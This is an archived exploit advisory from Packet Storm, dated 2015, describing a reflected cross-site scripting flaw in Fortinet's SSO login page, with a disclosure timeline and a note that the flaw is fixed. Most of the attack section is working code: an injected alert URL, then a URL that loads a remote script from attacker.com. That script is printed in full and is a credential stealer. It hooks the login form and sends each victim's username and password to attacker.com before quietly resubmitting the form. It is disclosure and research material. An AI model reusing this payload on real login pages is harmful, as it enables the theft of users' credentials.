exploit the possibilities

Fortinet Cross Site Scripting

Fortinet Cross Site Scripting
Posted Dec 4, 2015
Authored by Yann CAM

The login.fortinet.com site suffered from a reflective cross site scripting vulnerability.

tags | exploit, xss
MD5 | cf6ecdecb22a20bf3c0579e9adc14dec

Fortinet Cross Site Scripting

Change Mirror Download
######################################################################
# Exploit Title: fortinet.com Reflected XSS Credential stealer
# Date: 04/12/2015
# Author: Yann CAM @ Synetis - ASafety
# Vendor or Software Link: www.fortinet.com
# Version: /
# Category: Reflected Cross Site Scripting
# Google dork:
# Tested on: Fortinet sub-domains (login domain)
######################################################################

Fortinet description :
======================================================================

Fortinet, Inc. is an American multinational corporation founded in 2000 by brothers Ken and Michael Xie. The company sells high performance network security products and services including their flagship integrated network security solution, the FortiGate firewall. Fortinet distributes its systems and subscription-based services using the channel partner sales method via more than 20,000 partners worldwide. Fortinet is positioned as the revenue leader in unified threat management (UTM) solutions.

Fortinet competes in the UTM and network security industry, and has the third-highest market share in security appliances after Cisco Systems and Check Point.


Vulnerability description :
======================================================================
A reflected Cross-Site Scripting vulnerability was identified in login.fortinet.com IdP-SSO page.
To access protected resources on searchsupport.fortinet.com or forticare.fortinet.com, users are redirected to login.fortinet.com to login (Single Sign-On federation through uniq IdP).
This IdP suffers from a RXSS, and a malicious user can catch all credential (login / password) in plaintext (demonstration : https://www.youtube.com/watch?v=vDYdBMeZ7fc).

Through this vulnerability, an attacker could tamper with page rendering, redirect victims to fake Fortinet portals, or capture Fortinet's users credentials.
This vulnerable parameter is not properly sanitized before being used in pages.


Proof of Concept 1 - login.fortinet.com - RXSS alert() canonical :
======================================================================

A non-persistent XSS (RXSS) in "wtrealm" GET param is available in the SSO domain of Fortinet.
Tested on Firefox 42.0.

PoC:

https://login.fortinet.com/login.aspx?ReturnUrl=/?wa=wsignin1.0&wtrealm=https://searchsupport.fortinet.com/&wctx=rm=1&id=passive&ru=/default.aspx&wct=2015-11-02T13:37:32Z&LoginMethod=LDAP&wa=wsignin1.0&wtrealm=https://searchsupport.fortinet.com/<script>alert(/Yann CAM - Security Consultant @ASafety - SYNETIS/);</script>&wctx=rm=1&id=passive&ru=/default.aspx&wct=2015-11-02T13:37:32Z&LoginMethod=LDAP


Proof of Concept 2 - login.fortinet.com - RXSS third party script :
======================================================================

Through this XSS, a malicious user can load a third-party JavaScript file in the login.fortinet.com browser's context.
The next quick'n'dirty JavaScript file can illustrate the availability of an attacker to grab all credential in plaintext.
Tested on Firefox 42.0.

PoC:

https://login.fortinet.com/login.aspx?ReturnUrl=/?wa=wsignin1.0&wtrealm=https://searchsupport.fortinet.com/&wctx=rm=1&id=passive&ru=/default.aspx&wct=2015-11-02T13:37:32Z&LoginMethod=LDAP&wa=wsignin1.0&wtrealm=https://searchsupport.fortinet.com/<script>s=document.createElement('script');s.setAttribute('src','//attacker.com/x.js');document.body.appendChild(s);</script>&wctx=rm=1&id=passive&ru=/default.aspx&wct=2015-11-02T13:37:32Z&LoginMethod=LDAP

x.js hosted on "https://attacker.com/x.js" :

//alert(/Yann CAM - Security Consultant @ASafety - SYNETIS/);
// Add JQuery dynamically if needed
var headx=document.getElementsByTagName('head')[0];
var jq= document.createElement('script');
jq.type= 'text/javascript';
jq.src= 'https://code.jquery.com/jquery-latest.min.js';
headx.appendChild(jq); // jquery dynamic loading
// function to send through GET the login/password of the victim to the attacker's server
function sendX(login, passwd){
var x=document.getElementsByTagName('head')[0];
var y= document.createElement('script');
y.type= 'text/javascript';
y.src= 'https://attacker.com/x.php?LOGIN='+login+'&PASSWD='+passwd;
x.appendChild(y);
}
// function to recover the form submit action event
function submitX(){
document.forms[0].onsubmit=function() {
return true; // enable the form "action"
};
document.forms[0].submit();
}
// function to hook the login form and add an onsubmit action (before the form action)
function loadX(){
$( document ).ready(function() {
$("#contextHolder_InvalidRPAddress").html(""); // clean the error message on the page
document.forms[0].onsubmit=function() {
login=document.getElementById("contextHolder_Login_name").value;
passwd=document.getElementById("contextHolder_Login_password").value;
sendX(login,passwd); // retrieve login/password
setTimeout("submitX()", 1000); // recover initial form submit action
return false; // block the form "action"
};
});
}
setTimeout('loadX()', 2000);


Demonstration video :
======================================================================

- https://www.youtube.com/watch?v=vDYdBMeZ7fc

Screenshots :
======================================================================

- https://www.asafety.fr/data/20151102-Fortinet_Login_Portal_RXSS_001.png
- https://www.asafety.fr/data/20151102-Fortinet_Login_Portal_RXSS_002.png
- https://www.asafety.fr/data/20151102-Fortinet_Login_Portal_RXSS_003.png
- https://www.asafety.fr/data/20151102-Fortinet_Login_Portal_RXSS_004.png
- https://www.asafety.fr/data/20151102-Fortinet_Login_Portal_RXSS_005.png
- https://www.asafety.fr/data/20151102-Fortinet_Login_Portal_RXSS_006.png


Solution:
======================================================================

Fixed by Fortinet Security Team.


Additional resources :
======================================================================

- https://www.fortinet.com
- http://www.asafety.fr/
- http://www.synetis.com


Report timeline :
======================================================================

2015-11-06 : Fortinet PSIRT Team alerted with details and PoC.
2015-11-27 : Fortinet PSIRT Team response with thanks and open a ticket.
2015-12-02 : Fortinet PSIRT Team fixe the issue and ask to check the correction.
2015-12-03 : Fix confirmed and ticket closed.
2015-12-04 : Public advisory.


Credits :
======================================================================

88888888
88 888 88 88
888 88 88
788 Z88 88 88.888888 8888888 888888 88 8888888.
888888. 88 88 888 Z88 88 88 88 88 88 88
8888888 88 88 88 88 88 88 88 88 888
888 88 88 88 88 88888888888 88 88 888888
88 88 88 8. 88 88 88 88 88 888
888 ,88 8I88 88 88 88 88 88 88 .88 .88
?8888888888. 888 88 88 88888888 8888 88 =88888888
888. 88
88 www.synetis.com
8888 Consulting firm in management and information security

Yann CAM - Security Consultant @ Synetis | ASafety

--
SYNETIS | ASafety
CONTACT: www.synetis.com | www.asafety.fr

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

February 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    1 Files
  • 2
    Feb 2nd
    2 Files
  • 3
    Feb 3rd
    17 Files
  • 4
    Feb 4th
    15 Files
  • 5
    Feb 5th
    24 Files
  • 6
    Feb 6th
    16 Files
  • 7
    Feb 7th
    19 Files
  • 8
    Feb 8th
    1 Files
  • 9
    Feb 9th
    2 Files
  • 10
    Feb 10th
    15 Files
  • 11
    Feb 11th
    20 Files
  • 12
    Feb 12th
    12 Files
  • 13
    Feb 13th
    18 Files
  • 14
    Feb 14th
    17 Files
  • 15
    Feb 15th
    4 Files
  • 16
    Feb 16th
    4 Files
  • 17
    Feb 17th
    34 Files
  • 18
    Feb 18th
    15 Files
  • 19
    Feb 19th
    19 Files
  • 20
    Feb 20th
    20 Files
  • 21
    Feb 21st
    15 Files
  • 22
    Feb 22nd
    2 Files
  • 23
    Feb 23rd
    2 Files
  • 24
    Feb 24th
    16 Files
  • 25
    Feb 25th
    37 Files
  • 26
    Feb 26th
    0 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files
  • 29
    Feb 29th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close